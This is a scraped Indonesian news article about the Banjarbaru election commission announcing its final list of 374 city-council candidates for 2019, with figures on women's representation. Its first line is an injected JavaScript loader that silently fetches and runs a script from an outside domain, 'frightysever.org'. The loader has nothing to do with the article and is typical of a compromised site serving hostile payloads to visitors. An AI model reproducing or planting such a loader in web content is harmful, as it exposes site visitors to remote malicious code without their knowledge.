(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, KPU Banjarbaru telah menetapkan dan mengumumkan Daftar Calon Tetap (DCT) Anggota DPRD bertempat di Fave Hotel Banjarbaru. Penetapan ini berdasarkan kepada Surat Keputusan KPU Kota Banjarbaru dengan Nomor : 41/HK.03.1-kpt/6372/KPU-kot/IX/2018, tanggal 20 September 2018 tentang Penetapan dan Pengumuman Daftar Calon Tetap (DCT) Anggota DPRD Kota Banjarbaru pada Pemilihan Umum Tahun 2019.
Surat Keputusan tersebut dibacakan Ketua KPU Banjarbaru Hegar Wahyu Hidayat dihadapan para undangan yang hadir diantaranya Bawaslu Banjarbaru, Parpol peserta pemilu, dan Polres Banjarbaru yang hasilnya diserahkan kepada perwakilan Parpol. Hasil dari penyusunan dan penetapan DCT ini akan segera dipublis dan disampaikan kepada masyarakat luas melalui website resmi KPU, media cetak maupun elektronik agar bisa diketahui oleh masyarakat luas.
Hegar mengungkapkan ada sebanyak 374 caleg yang telah ditetapkan di Kota Banjabaru. Dari jumlah tersebut Caleg laki-laki masih lebih banyak. Selain itu ia juga mengungkapkan sesuai dengan peraturan perundang-undangan tahun 2019 pakta integritas dalam proses seleksi bakal calon Anggita DPRD Kota Banjarbaru Tahun 2019 dan telah memenuhi ketentuan pemenuhan keterwakilan paling sedikit 30%.
“Jumlah total caleg sebanyak 374 orang dengan rincian caleg laki-laki sebanyak 215 orang dan perempuan sebanyak 159 orang dengan pemenuhan keterwakilan perempuan sebanyak 42,51 %,†ungkapnya.
Hegar juga mengatakan pihak KPU sebelumnya sudah mengundang seluruh perwakilan Partai Politik Peserta Pemilu dan memiminta untuk meninjau kembali daftar calon sebelum disetujui dan ditetapkan oleh KPU.
Setelah dilaksanakannya penetapan DCT, pada saat yang bersamaan ijuga dilaksanakan Sosialisasi lanjutan tentang Alat Peraga Kampanye APK dan aturan serta jadwal penyelenggaraan kampanye oleh Romzi Fahmi anggota KPU dari Divisi Hukum, dan sedikit penjelasan lanjutan tentang Aplikasi SIDKAM oleh Kasubbag Hukum Sekretariat KPU Banjabaru Wahyudiansyah.
Berikut Daftar Calon Tetap (DCT) Anggota DPRD Kota Banjarbaru dapat dilihat disini :
Berita Acara Penetepan dan Fakta Integritas Pemenuhan Keterwakilan Perempuan Dalam DCT Anggota DPRD Banjarbaru dapat dilihat disini : (rico)
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
This website uses cookies.